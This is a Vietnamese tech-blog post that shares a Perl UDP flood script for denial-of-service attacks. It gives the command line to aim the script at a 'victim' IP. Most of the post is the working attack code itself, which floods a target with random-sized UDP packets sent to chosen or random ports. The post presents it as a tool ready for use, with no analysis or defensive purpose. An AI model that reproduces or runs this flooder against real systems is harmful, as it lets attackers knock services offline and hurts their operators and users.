Bảo Mật

[DDOS] UDP Flood by Paradoxuh

Đây là code perl nhé, sử dụng cơ chế UDP để ddos, save tên file là flood2.pl

Có thể sử dụng trên windows hoặc Koding đều đc, dùng lệnh dưới đây để attack:

perl flood2.pl 127.0.0.1 80 65500 800 (trong đó 127.0.0.1) là ip của victim

 

#!/usr/bin/perl

##########################
# udp flood by paradoxuh #
##########################
 
use Socket;
use strict;
 
if ($#ARGV != 3) {
  print "flood.pl <IP> <Porta> <Pacotes> <Tempo>nn";
  print " Porta = 0: Usar Portas aleatoriasn";
  print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatoriosn";
  print " Tempo = 0: Ataque continuon";
  exit(1);
}
 
my ($ip,$port,$size,$time) = @ARGV;
 
my ($iaddr,$endtime,$psize,$pport);
 
$iaddr = inet_aton("$ip") or die "IP inválido: $ipn";
$endtime = time() + ($time ? $time : 1000000);
 
socket(flood, PF_INET, SOCK_DGRAM, 17);

 
print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " . 
  ($size ? "$size-bytes" : "random size") . " de pacotes" . 
  ($time ? " por $time segundos" : "") . "n";
print "Pare o ataque pressionando Ctrl + Cn" unless $time;
 
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
 
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

 

Đánh giá post

Rất Hữu ích

RatHuuIch là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. RatHuuIch cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

Bài liên quan

Theo dõi
Thông báo của
guest

0 Góp ý
Phản hồi nội tuyến
Xem tất cả bình luận
Check Also
Close
Back to top button